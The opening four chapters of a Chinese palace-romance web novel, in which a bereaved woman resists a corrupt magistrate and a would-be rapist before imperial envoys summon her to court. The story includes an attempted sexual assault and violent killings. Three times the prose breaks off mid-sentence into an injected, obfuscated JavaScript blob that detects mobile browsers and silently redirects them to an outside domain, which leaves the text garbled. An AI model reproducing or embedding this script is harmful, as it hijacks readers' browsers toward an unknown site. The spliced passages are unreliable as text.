《土著太子妃,不服就干》 1. 第 1 章 盛平十九年,六月初九。 天气炎热,哪怕已经入夜,屋子里还放着散热的冰块,依然一动便出汗。 江听澜没甚么胃口,只喝了一小碗汤。 “娘子,你多少再吃点吧。”婢女小满劝道,“再难过也要吃东西,不然身体垮了,清姐如何放心得下?” 庄清是个奇女子,她总有很多新奇的想法,待人和善,颇有正义感,为清水县百姓做了许多好事。如今她才三十多岁便离世,他们这些下人都难过得不行,更何况是亲生女儿江听澜? “阿娘不喜欢这破烂世界,离开对她不算坏事,我不难过。”江听澜露出一个很浅的微笑,“你也别难过。” 小满眼泪霎时便喷涌而出,正手忙脚乱抹眼泪,忽然听到外面传来门房着急的声音:“等等,你们不能这样进去……” 小满急忙起身朝外跑去,刚到门口,一串人已经气势汹汹地冲进来了。 为首是个四旬左右年纪的男人,戴幞头,着绿色官服。 竟是如今的清水县县令。 他身边跟着个圆胖中年男人,也是熟人。 小满一见他便忍不住怒道:“魏锦你给我滚出去,庄家不欢迎你这白眼狼!清姐当年好心救你阿娘性命,你们不思回报也就算了,万万没想到她刚一合眼,你竟跑来打我家小娘子的主意。你比我家娘子整整大了十八岁,比我家娘子的年纪都大了,家里还一堆妻妾,哪里配得上我家娘子?便是县太爷来说媒也没用,快滚滚滚!” 这几日魏锦日日来纠缠,软的硬的轮番上,小满早已不堪其扰,如今见到他和县令一起来,自然以为县令是来做媒的。 她更加生气,连珠炮般一顿输出,魏锦几次想插话都插不进去。 等她说完了,魏锦才找到机会说话:“大胆刁奴!县令大人在此,岂容你大呼小叫?还有,谁告诉你,大人是来说媒的?” “那你们是来干甚么的?”小满问道。 干甚么?自然是干你家娘子,魏锦盯着江听澜,心里想道。 他看上江听澜很久了,只是碍于庄清的救命之恩,一直隐忍。 原本他也没准备在丧事期间动手,可那日第一次看到穿着孝服的江听澜后,他便再也忍不住了。 小娘子原本就生得一副倾国倾城之姿,穿上一身素白,眼神清冷,煞是勾人。 魏锦心痒难耐,一再被拒后,他便决定下死手了。 他已经想好了,今日得手后,他就要在这灵堂要了江听澜,让她在她娘亲的灵位前哭泣、颤抖、哀求、欲罢不能…… 他要撕碎江听澜的尊严,踩在地上碾压,让她从此只能臣服于自己。 他要让庄清知道,挟恩图报是要付出代价的,哪怕死了也不能幸免。 他要让其他人明白,魏家才是清水县的神,谁也不能忤逆。 …… 魏锦想得兴奋,忘了回小满的话。 县令也并不拿正眼看小满,只盯着江听澜打量,故意不回答。 小满犹不服气,江听澜将她拉到身后:“不知大人亲自前来,所为何事?” “原本你阿娘刚去世,本官不该这时候来打扰。但这里有桩案子与你家有关,本官不得不管。”县令端足了架子,一脸义正词严地道。 江听澜不动声色,只问:“不知是何案子?” “能让县令大人亲自出马的,自然是大案。”魏锦抢着道,“灭九族的大案。” 江听澜脸上露出一点似笑非笑的表情:“哦。” 然后就没话了。 魏锦跟县令对视一眼,都有些气恼。 她不往下问,他们怎么恐吓? “江听澜!你可知罪?”县令突然变了脸色,高声呵斥。 江听澜摇摇头:“不知。” 这态度实在令人火大,县令怒道:“来人!将这刁妇拿下!” 他带了六七个衙役来,闻言一个个也高声呼和,却磨磨蹭蹭、互相推让,并不上前拿人。 “大人息怒。”魏锦也不想真的把江听澜抓走,来来回回浪费时间,他有点等不及了,“小女子不懂事,你别跟她一般见识,让我来和她说。” 安抚完县令,他又瞪着眼睛冲江听澜道:“大人纡尊降贵来见你,是体谅你刚死了娘,是大人仁慈,你要知道感恩……” 江听澜从头到尾就没拿正眼瞧过他,这时候更是直接转身,给自己倒了杯水,慢悠悠喝起来。 魏锦剩下的话堵在喉头,一时怒也不是,说又说不下去。 县令看着他滑稽的表情,心情倒是好了一点,也不催拿人了。 “江……听澜,你娘是不是跟犬戎人关系很好?”一个衙役趁机站出来,大声道,“你要想好再回答!大人明察秋毫,等下要是从你家搜出甚么物证,你反悔可来不及。” 江听澜看他一眼,再看向县令:“自盛平十九年签订和平盟约以来,大襄与西戎各部互通往来,今年年初宫里选秀,西戎还送了部落公主入宫为妃,听说颇得圣上宠爱。怎么,大人是觉得,圣上与西戎勾结……” “闭嘴!无知!胡说八道!”县令吓得连着呵斥好几声。 他跟江听澜也有点渊源,之前在她这里吃过亏,来了半天并未吓唬住她,还真有点怕她乱说话牵连自己,也懒得再故作高深,开始说人话:“这案子恰好是盛平十九年前的事。” 江听澜刚张开嘴,县令又抢着道:“我知道圣上曾下旨‘既往不咎’,可那是针对普通、正常往来的百姓,不包括奸细。” 江听澜:“大人说谁是奸细?” “这是你娘跟西戎首领往来的信件。”县令拿出一张纸在江听澜面前一晃而过,“人证物件俱有,本官还能冤枉了你们?” “大人,我阿娘大字不识一斗,如何写得出这样一封工整的信?”江听澜无奈道,“你们陷害人之前,是不是也先调查清楚再下手?” 县令瞪了魏锦一眼,差点就要当场呵斥。 做假证据能不能用点心? “你娘既然是奸细,自然不会对你说实话,这不是更加证明她有问题吗?”魏锦赶紧道。 “对。”县令也反应过来了,“你娘是西戎人,乔装打扮来大襄刺探情报——别以为本官不知道,你娘的户籍是买通当时县令造的假,衡义县根本没有姓庄的人家。” 江听澜脸色顿时一变。 这是自他们进屋以来,她表情第一次失控,县令顿时心情舒畅不少。 奸细甚么的,只是用来恐吓人的手段,但户籍造假是真的。 只要抓到这个把柄,就不怕江听澜不听话。 果然,江听澜瞬间软和了态度,却又强作镇定:“你们想怎样?” 县令挥挥手,将衙役都赶出去,然后才朝魏锦示意。 魏锦道:“你娘户籍造假的时候,你还没出生。而且,你连她识字都不清楚,可见未必知道她做过的事情。大人仁慈,不愿对你赶尽杀绝,才会私下来找你,给你指条明路——女子出嫁从夫,娘家的事情就与她无关了。” 说到这里,他笑了笑,一副“并不是我逼你,是你求我救你”的姿态。 县令接着魏锦的话道:“听魏三郎说,你俩早有婚约——你们马上完婚,我可以睁一只眼闭一只眼,当做是在你出嫁后才接到的报案。” “他放屁!”小满忍了好久,终于忍不住了,“清姐最烦这些礼教束缚,她一直都希望娘子能找到一个真心相爱的郎君,怎么可能给她定甚么婚约?更不可能是这种嚣张跋扈、狼心狗肺的烂人,你们官商勾结、狼狈为奸,欺人太甚!” 县令大怒:“来人!将这刁奴抓起来!” 几个衙役这次没迟疑,冲进来将小满拉了出去。 江听澜看他们动作还算礼貌,也没阻拦,而是对县令道:“大人的意思, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906081|160158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要徇私枉法吗?” “我是为你好!”县令狠狠拍了下桌子。 江听澜看他生气的样子就觉得好笑:“大人骗骗我也就罢了,不会谎言说久了,连自己也骗了吧?” 县令涨红了脸:“你……” “你的祖父很厉害,曾官至三品,可惜子孙后代没一个成器的。子辈还只能说是平庸,到孙辈尽是纨绔,而你更是其中的‘翘楚’。但你运气好,凭借祖辈功勋和人脉,竟也在官场顺风顺水,甚至穿上了绯衣。可惜官职能荫,才华和人品却不能,你草菅人命被告发,陛下大怒,才将你贬至清水县当个县令。” 县令没想到她对自己如此了解,不由惊讶,甚至忘了发怒。 江听澜冷笑一声:“可惜狗改不了吃屎,你带着一股怨气来到清水县,遇到案子竟枉顾事实,胡乱将你看不顺眼的人下狱。我抓到凶手,你一边拿着我的成果去领赏,一边却又觉得我让你丢脸,怀恨在心。因此当魏家送上厚礼,要陷害于我的时候,你便像闻着屎味的狗,兴奋地跟他们狼狈为奸了。清水县穷苦,不要脸的人我见多了,像县令大人这般不要脸的,我还是第一次见……” “闭嘴闭嘴!”县令彻底被激怒,恶狠狠地道,“江听澜,我实话告诉你,高知府调走了,新的知府还没到,没人能给你撑腰,现在你就是本官手心里的一只蝼蚁——你信不信我今晚就杀了你,让其他人连痕迹都找不到?” “我信,制造冤假错案这件事——大人你比谁都专业。”江听澜嗤笑,“那么,你是承认所谓的奸细案,是你联合魏家,陷害我阿娘了?” “承认又怎样?”县令懒得装了,一甩衣袖,“你能奈本官何?” 魏锦没来得及阻拦,暗骂了一声蠢货,同时回头看了眼。 屋子里门窗关得严实,外面没有动静,应该没第四人听到,这才略松了口气。 “你好歹也是一方父母官,竟如此假公济私、滥用职权,如何治理清水县?”江听澜一连三问,“你这样将国法置于何地?将圣上置于何地?” “你也说我是父母官了,父要子亡,你就不该有怨言。”县令掸掸衣摆,又笑起来,“清水县到京都,有两千八百里,离陛下远着呢。在这里,本官说了算!” 魏锦一惊。 “我呸!”江听澜冷笑一声,随后将头上唯一的簪子拔下来,握在手上。 魏锦定睛一看,发现那铁簪尾部磨得很细很尖,闪着寒光。 虽小,却是利器。 “你要干甚么?”县令下意识后退好几步。 江听澜却将簪子放到自己脖子上:“我今天就是死,也不会让你们如愿!” 她之前一直表现得很冷静,还以为她有大招,不想竟是存了死志?县令微感意外,愣住了。 魏锦却已经朝江听澜扑了过去。 他还没得到的人,不能就这么死了。 江听澜被逼到角落,再不犹豫,将簪子刺向自己,瞬间划破皮肤,殷红的血蜿蜒而下。 然而她力气到底比不上魏锦,簪子未及深入,已被魏锦夺了去。 “贱婢!给脸不要脸!”魏锦很生气,将簪子远远扔开,随后一把扯掉自己的腰带,再去撕江听澜的衣裳,“老子现在就办了你……” 县令理智觉得这样不太好,心里又有点兴奋,正在犹豫要不要制止,忽然听到“砰”一声响。 有人从外面闯进来,撞开了门。 “滚出去!没我的命令不许进来……”县令回头呵斥到一半,突然大惊,“李,李校尉?” “蠢货!”李校尉一把推开他,朝角落跑去。 县令惊慌回头,瞬间跌坐在地,双眼瞪得溜圆,几欲脱眶而出—— 角落里,魏锦脖颈被割出巨大的伤口,鲜血喷涌四溅,染红了对面江听澜身上的孝衣。 江听澜手里捏着一支滴血的匕首,不闪不避,神情冷漠。 2. 第 2 章 李校尉跑到角落的时候,魏锦圆胖的身子正好倒下来,在地上砸出“砰”一声闷响。 “杀,杀人了!”县令猛地从地上弹起来,冲向门口,“来,来人……” “闭嘴!”刚才进来的却还有一人,一脚踢开他,又顺手关上门。 此人面白无须,五官清秀,嗓音略尖。 县令吓得又跌坐回去:“徐,徐公公,你怎么也来了……” 徐公公懒得搭理他,朝李校尉看过去。 李校尉蹲下身查看了一下魏锦的情况,摇摇头:“没救了。” 徐公公皱着眉尖,看向江听澜,注意到她的脖子也在流血,赶紧走过去。 李校尉急忙将魏锦的尸体像踢死狗一样踢开。 江听澜却警惕地看着他们,往后缩了缩。 “娘子别怕,我们跟他们不是一伙的。”徐公公露出一个微笑,放柔了声音,“我帮你看看伤?” 江听澜手上略松了松,在匕首快要脱手的瞬间,又重新握紧,抬起来对准自己的脖子:“我杀了人,可以死,但绝对不会让你们抓去侮辱!” “别激动,千万别激动。”徐公公急忙后退,“我们不抓你,也不碰你,让你的仆人进来好不好?” 李校尉也跟着后退,两人态度都格外谨慎小心。 江听澜没吭声,但也没有反对。 徐公公扭头冲县令吼道:“你是死人吗?还不快去找人!” 浑然忘了刚才是自己让人闭嘴的。 然而县令早看得心惊胆战,一个屁都不敢放,连爬带滚去开门。 李校尉来自羽林军,徐公公来自宫里,是离天子最近的两拨人。 哪怕是在京都,无论官阶高低,轻易都不愿得罪他们,更别提他一个小小的县令。 这两人同时出现在清水县,必然是奉旨行事,他们对江听澜的态度又好得不行,这让县令非常慌张。 门打开,外面一群衙役和庄府下人全都齐刷刷看向他,好几个脸上明显露出了幸灾乐祸的神色。 县令这才意识到自己此刻的狼狈,刚想整理一下衣服,小满已经冲出来问道:“我家娘子怎么样了?” “你进来吧。”县令想到里面的情景,瞬间清醒,顾不上面子了。 小满冲进来,看到江听澜的样子,也不管其他人是谁,飞快跑过去,担心得眼泪直掉:“娘子,你这是怎么了?是谁伤的你?是不是那狗官……” 县令刚关上门,回头听到这句话,下意识道:“不是我,我没有……” 说到一半,想起对方只是个奴婢,又闭上了嘴。 平常他连这些人的解释都不会听,今天竟会主动解释,可见心里实在是乱得很了。 “先替你家娘子包扎伤口。”徐公公对小满道,“其他事情之后再说。” 小满答应一声,将江听澜扶到一边坐下。 李校尉想了想,从怀里掏出一个玉瓶,递给小满:“这是治外伤的药,效果很好。” 小满看他一眼,有些犹豫要不要用。 江听澜伸手将瓶子推回去:“杀人偿命,反正迟早是个死,又何必治?” “杀人?杀甚么人?”小满大惊,“娘子你连鸡都不敢杀,怎么可能杀得了人……” 另一边徐公公跟李校尉交换一个眼神,李校尉忽然道:“谁说娘子你杀人了?” 江听澜终于露出一丝惊讶的表情,又指指地上的尸体:“他……” “他是自己撞上来的。”李校尉道,“我当时刚好进来,看得很清楚,娘子你不愿受辱,拿着匕首想要自尽,他自己撞上来,割破了喉咙——是吧,赵县令?” 赵县令并未看到魏锦是怎么死的,原本他觉得一定是江听澜所杀,听到李校尉的说法还在思考这种可能性,忽然就听到自己的名字。 他微微一怔,随即肯定地点头:“对,没错,就是魏锦自己撞上来的。先前娘子拿簪子想自尽,也是被魏锦夺了,他肯定觉得自己很厉害……” “赵县令就这么看着?”李校尉阴阳怪气,“你也很厉害啊。” 赵县令像一只引吭高歌的鹅被卡住脖子,再发不出声音,只剩下一张脸涨得通红,双手无措地左右摇摆着。 “既然赵县令亲眼看到魏锦是自己撞死的,还不让仵作过来验尸?”徐公公态度倒是好了一些,“江娘子家里还在办丧事,你们这样闹,不合适吧?” “徐公公说得对,我这就去办。”赵县令答应一声,再次打开门,让衙役们去找仵作。 听到要找仵作,好几个衙役都变了脸色,先后问道:“谁死了?” “魏锦自己撞死了。”赵县令心里乱作一团,没注意他们的态度,只想着尽早将这事了结。怕仵作不会看眼色,验出其他结果,他是故意这样说的。 衙役们听完,欢呼一声,撒腿跑去找仵作。 赵县令怔了怔,他知道魏家在清水县名声不好,但这一幕给他的冲击还是有点大。 过了一会儿,赵县令才回到屋子里,听见徐公公正在安慰江听澜:“……又不是你邀请他来家里的,他自己闯进来、自己撞死,按照律法,就算是大理寺卿来了也得判你无罪。否则,我看谁不顺眼,就安排一个快死的人去他家里自杀,让他跟着陪葬,这也说不通——对吧,赵县令?” “……”赵县令硬着头皮道,“徐公公说得对,娘子你没罪,我可以作证。” 话是这样说,心里到底冷静了一些,开始思考这事要怎么善后。 不管真相如何,徐公公跟李校尉显然都想保江听澜。 看他们的意思,也不想将事情闹大,还要借助他这个知县来判案,应当不会对他赶尽杀绝。 问题是,魏家的背景不简单,魏锦不明不白地死了,他们不可能善罢甘休。 还有江听澜,她从来就不是甚么好拿捏的软柿子,要不是刚死了娘,情绪低落,他们今天一开始怕是连门都进不来。 要是没进来倒好了,但现在后悔也来不及。 有了徐李二人撑腰,江听澜缓过来后,多半会报复他。 赵县令越想越觉得,现在还不是自己最危险的时候。 好在他还有后招。 之前和江听澜说,这案子人证物证俱在,并不全是撒谎。 物证是假,人证却是真。 幸好我聪明,赵县令想,没有将证人一起带来,而是放在了安全的地方,只有我自己知道。 接下来就要看徐李二人到底为何而来,江听澜背后是不是还有靠山。 如果她的靠山比魏家厉害,那便将证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906082|160158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人交给她,告诉她自己也是被魏家所骗。 如果她的靠山比不上魏家,那便将证人交给魏家,告诉他们是江听澜杀了魏锦。 如此一想,赵县令觉得自己还是安全的,这才抬手抹掉额头的汗珠,暗暗吐出一口气,腰板总算挺起来几分。 “大人,仵作老陈来了。”外面传来衙役的通报。 “进来。”赵县令咳嗽两声,想要给老陈使个眼色。 谁知老陈根本不看他,进门注意到尸体,便径直走了过去。 老陈是清水县衙唯一的仵作,这个职业本就为人所避讳,老陈性格又孤僻,加上年纪大了无所顾忌,向来是谁的面子都不给,有点不通人情世故。 赵县令也拿他没办法,只得又咳嗽了两声。 “赵县令夤夜办案辛苦了,喉咙不舒服要多喝热水。”徐公公忽然道。 话是好话,阴阳的语气便是连赵县令也听得出来。 怕弄巧成拙,他也不敢再做小动作了。 另一边,老陈已经快速理清楚现场的情况,一板一眼地汇报:“男,三十岁左右,遭利器割喉、失血过多至死……” 这个情况大家都能看到,也没甚么好说。 老陈一边汇报,一边填好验状,签上自己的名字。 赵县令松了口气。 “凶手大概率是个男人。”老陈将验状递给赵县令的时候,忽然又说了句。 赵县令一口气又提了起来,声音拔高:“男人?!” 魏锦死的时候,只有江听澜在他面前,哪里来的男人? 徐公公不满地看了赵县令一眼,问老陈:“理由呢?” “伤口很深,连颈骨都割断了,这不单单是有利器就能做到,还需要很大的力气。”老陈依然毫无情绪,“一般女人没有这样的力气,只能是男人或者天生神力的女人。” “这倒是对上了。”徐公公看看李校尉,道,“江娘子力气小,不可能割出这样的伤口,只能是这人自己撞上去的。” 赵县令这时候才听明白。 他原本已经认定是这二人包庇江听澜了,难道竟不是? 魏锦真是倒霉到家,自己撞死的? “你能验出魏锦是自己撞死的?”赵县令不敢问徐公公,便瞪着老陈道,“不许撒谎,要说实话。” “我只能验出我看到的,这伤一般女人弄不出来,至于他是不是自己撞死——破案是大人的事。”老陈依然不肯定多看他一眼,“小人告退。” 然后真的收拾好自己的东西,转身离开。 赵县令:“……” “赵县令甚么意思?”李校尉忽然问,“你在怀疑我?” “啊?不是,没有!绝没有!”赵县令急得汗又下来了,偏偏越着急越解释不清,“只是,只是这些小吏办事一向不牢靠……” 李校尉打断他:“我看这仵作做事利索,经验老道,说话严谨,很是可靠嘛。” 赵县令:“……” 来个人救救我吧,他心里慌乱地想。 “大人!”外面还真传来了衙役的声音。 赵县令大喜,急忙应声:“甚么事?” “大人,不好了!”衙役冲进来,“魏家带了一群人过来,将庄家包围了,说是要给魏锦报仇!” 3. 第 3 章 赵县令听到这个消息整个人都傻了。 反倒是徐公公跟李校尉对视一眼,问道:“魏家怎会这么快就知道魏锦死亡的消息?” “可能是……”衙役低下头,目光躲闪,“找老陈的时候,走漏了消息……吧。” 他语气迟疑,在场的人却都能看出来,这怕就是答案了。 或许是衙役中有魏家的人,趁机通风报信;也或许是魏锦实在招人恨,他一死大家高兴,就迫不及待将消息散布出去,被魏家听到了。 这时候也来不及问了,门外喧嚣声起,是魏家已经到了,听声势,来的人不少。 几人出门,果然看到有二三十人拿着武器火把,叫嚷着冲过来。 赵县令带来的衙役急忙上前阻拦,可他们只有六七人,实在悬殊,瞬间就被冲散。 “都给我住手!”赵县令被徐公公一把推到前面,不得不大声喊道,“站住!站住!全都站住!” 魏家领头的是位跟魏锦有六七分像的男子,他还算给赵县令面子,抬手示意。 他带来的人便都停了下来。 “大郎,你这是干什么?”赵县令冲那领头的使眼色,“京中贵使在此,休得胡闹。” 魏大郎却不管那么多,只是逼问赵县令:“大人,听说三郎被人杀了,可是真的?” 赵县令抹了把汗,答非所问:“让你的人先回去,有话好好说。” “看来是真的。”魏大郎非常震惊。 听到消息的时候他们还觉得不可能,魏家在清水县地位斐然,一般人哪敢动魏家的人? 更别说今天三郎出门,还有县令作陪,衙役保护,没可能出事。 他虽带着人过来,但最多也就想想魏锦是不是哪里受了点伤,从来没想过,他是真的死了。 “是谁杀了他?”魏大郎勃然变色,又急又怒,“是不是江听澜这贱婢?” 方才魏家过来,声势浩大,吸引了一大群看热闹的百姓。此时听到这话,顿时纷纷议论起来。 “魏锦真的死了?” “老天开眼,死得太好了。” “江娘子出了名的体弱多病,她怎么杀得了一个男人?你们欺负一个孤女竟到如此地步,实在恶毒。” “……” 这些人声音不小,传到了魏大郎耳朵里。 他表情狰狞地扭头去找,然而看热闹的人实在太多,只能看到一张张幸灾乐祸的脸,实在分辨不清哪句话是谁说的。 “休得胡说。”赵县令也看到了,他知道江听澜的人缘好,下意识帮魏家,“大郎莫急,有话我们坐下来慢慢说。” 魏大郎原本还给赵县令几分面子,这会儿怒极,也顾不得那么多了,眼睛一翻:“有甚么话不能当众说?既然你说不是贱婢杀的,三郎又是跟着你出来的,难道是你杀的?” 谁敢当着县令的面杀人? 魏大郎越想越觉得,赵县令嫌疑还挺大,他看着他的眼神,简直像要吃人。 “你……”赵县令也生气了,“冥顽不灵!好吧,我告诉你,魏锦是自己撞死的!人证物证俱在,仵作也验过尸了。” 这话连围观的人都不信,更别说魏大郎。 他越发认定是赵县令杀人,毕竟江听澜不可能指挥得动衙门里的人。 “好你个狗官,拿了魏家那么多好处,竟还敢杀我的家人……”魏大郎一挥手,“我今天跟你们拼了。” 那群人瞬间涌上来,衙役根本拦不住,也拦得不是很用心。 只一眨眼,赵县令头上的乌纱帽就被打掉了,还挨了几棍子。 赵县令“哎哟哎哟”叫着,转身朝屋子里跑。 李校尉拔出腰间佩刀,挡在徐公公和江听澜身前,护着两人往后退。 小满手中不知道从哪里顺了把剪刀,也寸步不离地守在江听澜身边。 另外几个庄府仆人想帮忙,奈何本就站得远,一时间挤不过来。 场面极度混乱。 “住手!都给我住手!”徐公公忽然从怀中掏出一个东西高高举起,提高声音大喊,“圣旨在此!谁敢再动一步,罪同谋逆!” 他声音本就尖细,音调一高更是刺耳,好在是大家基本都听见了。 再看他手中举着的,竟是一卷明黄的圣旨。 场面霎时便安静下来。 别说动手,连议论声也没了,魏家带来的人或多或少都后退了几步。 魏大郎脸上神色迟疑。 “圣旨在此!”徐公公又重复了一遍,“尔等速速放下武器,否则罪同谋逆!” 魏大郎越发迟疑,有人已经忍不住,丢下了武器。 就在此时,人群中有人说了句:“谁知道这圣旨是真是假?” 徐公公抬眼看去,乌压压一片脑袋,实在看不清是谁说的。 然而这话像溅落油锅的一滴水,人群瞬间便沸腾了。 “就是啊,清水县山高皇帝远,几时见过圣旨?” “假传圣旨的事也不是没有。” “这些人胆子真大。” “他们连杀人都敢,还有甚么不敢?” “……” 徐公公万万没想到,竟会有人怀疑圣旨的真实性。 就这么一愣神的功夫,魏大郎已经一挥手中的刀,高声喊道:“这两人我认识,并非来自京都!大胆贼子竟敢假传圣旨,大家快随我捉住他们,必是大功一件!” 魏家带来的人蜂拥而上,李校尉乱刀砍掉冲在最前面两人的头颅也挡不住。 “退,回屋里去!”这时候再要解释也来不及,李校尉一边挡住冲上来的人群,一边大喊。 只能先保证安全,再想办法了。 徐公公还是第一次遇到不拿圣旨当回事的人,气得发懵,被江听澜和小满一起拽进了屋子里。 李校尉也挡不住了,拼着生挨一刀,踉跄进屋。 江听澜跟小满急忙关门。 最后一瞬,一个魏家人提刀追上来,胳膊刚好卡住合拢的门扇。 他后面的人趁机往里挤。 李校尉手起刀落,迅速砍下那人的胳膊。 “砰”一声,大门关上。 江听澜跟小满看着地上还在抽搐的胳膊,一时没说话。 赵县令比他们先退回屋子里,回头看到这一幕,吓得直接瘫软在地。 “江娘子,你们过来。”李校尉胳膊上中了一刀,身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906083|160158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也被鲜血染红一半,满脸戾气抓住旁边的桌子推过来,抵住大门。 但是外面魏家那群人还在疯狂撞门,显然是要拼死一战了。 徐公公也用身体撑住桌子,感受到外面传来的力道,这会儿怒气下去,恐惧渐渐浮上来:“这道门挡不住的,怎么办?” 他只是来传旨,可从未想过会有性命之忧啊! 李校尉反而被激起了杀意,撕碎衣摆,胡乱将伤口缠住,狠声道:“还能怎么办?杀就完事了……江娘子,你家有后门吧?你带着徐公公赶紧撤,去县衙搬救兵。” “这间屋子没后门。”江听澜道,“不过不用担心,我有个办法。” “甚么办法?”徐公公跟李校尉都看向她。 “县令大人,不想死的话,麻烦拿出你的全力,守好这扇门。”江听澜先对赵县令说了句,然后才道,“二位贵使随我来。” 赵县令愣了下,猛地从地上爬起来,想要跟着他们离开。 小满一把抓住他:“县令大人,快来堵门,他们要闯进来了。” 赵县令这会儿六神无主,小满力气不小,他竟挣脱不开,又看门和桌子剧烈摇晃,好像真的快被撞开了,只能胆战心惊地先抵住桌子。 江听澜则带着徐李二人朝里间走去。 这间屋子虽然没有后门,但有二楼。 站在二楼,可以清楚看到外面的情景。 魏家那群人还在拼命撞门,衙役都吓跑了,其他看热闹的人远远围着,并不上前帮忙,但也没离开。 江听澜不知道从哪里拎出来一面锣,“当”地敲了一下。 声音清脆响亮,将外面的喧嚣都压了下去。 所有人都四处张望,寻找声音来源,很快有人发现他们三人,陆续仰头看过来。 “各位父老乡亲。”江听澜扬声道,“我以我死去阿娘的名义起誓,我身边这二位是从京都前来传旨的贵使,圣旨是真的,并非假冒。他们要是出了甚么意外,整个清水县都脱不了干系。魏家是甚么做派,各位比我更清楚,他们的话可信还是我的话可信,我相信各位自有判断。只要大家合力擒下这群叛贼,定然少不了清水县的好处。是吧,徐公公?” 她说完,朝徐公公使了个眼色。 徐公公再次掏出圣旨,高声道:“圣上有旨,传吏部尚书江琮之嫡长女江听澜进京面圣,与太子议亲!” 其实在江听澜拿死去的母亲起誓时,大家基本就都信了,徐公公的声音又有辨识度,众人更是再无怀疑。 “江娘子竟是吏部尚书的女儿?” “与太子议亲,那不就是太子妃吗?” “还等甚么?保护太子妃!” “冲啊!擒下魏家这群反贼!” “……” 不等徐公公再多说,外面围观的百姓便一拥而上。 他们或许没有随身带着武器,但人多势众,十几个甚至几十个人抓一个,简直轻而易举。 魏大郎还在负隅顽抗,大喊“假的”,可惜太子妃的名头让他带来的人也慌了,毫无斗志。 眼看着魏家众人一个一个被擒住,最后魏大郎身边两个离得最近的忽然调转刀口,将魏大郎砍翻在地。 4. 第 4 章 眼看着魏家众人全部落网,江听澜对着众人郑重一拜,然后才下楼来。 屋子里赵县令根本听不清外面的声音,感觉到撞门的力道小了之后,他微微松了口气,然后才发现自己浑身乏力,腿软得站不住,今天不知道第多少次跌坐在地上。 “小满,打开门吧。”江听澜道。 李校尉上前,跟小满一起将桌子挪开。 赵县令仿佛惊弓之鸟,一下又弹起来,躲到最角落去了。 大门打开,迎来无数好奇的目光。 “多谢各位仗义相助。”江听澜再次行了一礼,“只是事发突然,几位大人还要了解情况,等事情弄清楚了,赵县令定会给大家一个说法。今晚就请各位先各自回家,好吗?” 躲在角落的赵县令一头雾水:? 甚么情况? 偏偏今天那些刁民竟格外听话,转眼便走得干干净净,只剩下五花大绑还被塞住嘴的魏家众人。 赵县令这才迟疑着走过来:“江娘子,这……” “小满,去请个郎中过来,为李大人治伤,记得让他带上最好的治外伤的药。”江听澜看都没看他。 “不必。”李校尉急忙拦着,“习武之人,一点皮外伤不碍事的,金疮药我自己就有,打盆清水来洗洗就好。” 江听澜也没坚持,让门房过来照顾。 等到李校尉处理完伤口,赵县令刚想说话,徐公公又道:“娘子,刚刚事急从权……现在可能需要重新宣读圣旨。” 这才是他们来清水县的正事,没想到中间会生出这许多波折,他决定先将这事处理了。 江听澜点点头,赶紧摆上香案。 徐公公重新宣读圣旨,这次却没提和太子议亲的事。 但这依然足以震惊赵县令,他是从京都来的,对江家更为了解:“你,你是江,江阁老的孙女?” 江听澜将圣旨收好,并没有回答他的问题,观她的表情,像是并不意外。 难怪她之前表现得不畏权贵,原来是因为她自己便是更大的权贵。 只是既有如此显赫的身世,她为何会生活在清水县这穷乡僻壤之地? “娘子。”徐公公这才朝江听澜拱手道贺,同时说明自己不是胡说,“与太子殿下议亲的事,是圣上口谕,恭喜娘子。” 赵县令腿又软了。 和太子殿下议亲——那不就是未来的太子妃? 能叫徐公公和李校尉亲自前来传旨,只怕不是议,而是已经定下来了。 也是,京都一直有传言,说太子妃会是江家的女儿,只是没想到江家还有个流落在外的女儿。 “辛苦徐公公、李大人。”江听澜示意小满拿了两块成色极好的玉佩过来,给二人当做红包,“实在对不住,这一趟让二位受累了。只是,我阿娘明日下葬,家里也还有许多事情需要处理……可否宽限我两日?” “这是自然。”徐公公急忙道,“处理魏家这些事情也需要时间,是吧,赵县令?” 赵县令正忙着消化纷杂的信息,闻言茫然一瞬,随即反应过来:“是的,需要时间。几位放心,我一定会办好这桩案子!” 徐李二人虽然带着圣旨前来,但圣上显然没给他们更多权利,吓唬吓唬人也就罢了,真查案还是得交给地方官。 “不好叫这些乱臣贼子打扰庄娘子安息,我这就将他们带回去关起来。”赵县令意识到自己的重要性,脑子又开始转动,“等庄娘子下葬后,还请几位过来坐镇,共同审理此案。” 言下之意,他不会擅自做主就断案,还是要看他们的意思,而且要将就江听澜的时间。 徐公公他们不管心里怎么想的,面上都没意见。 江听澜自然更不会多说甚么。 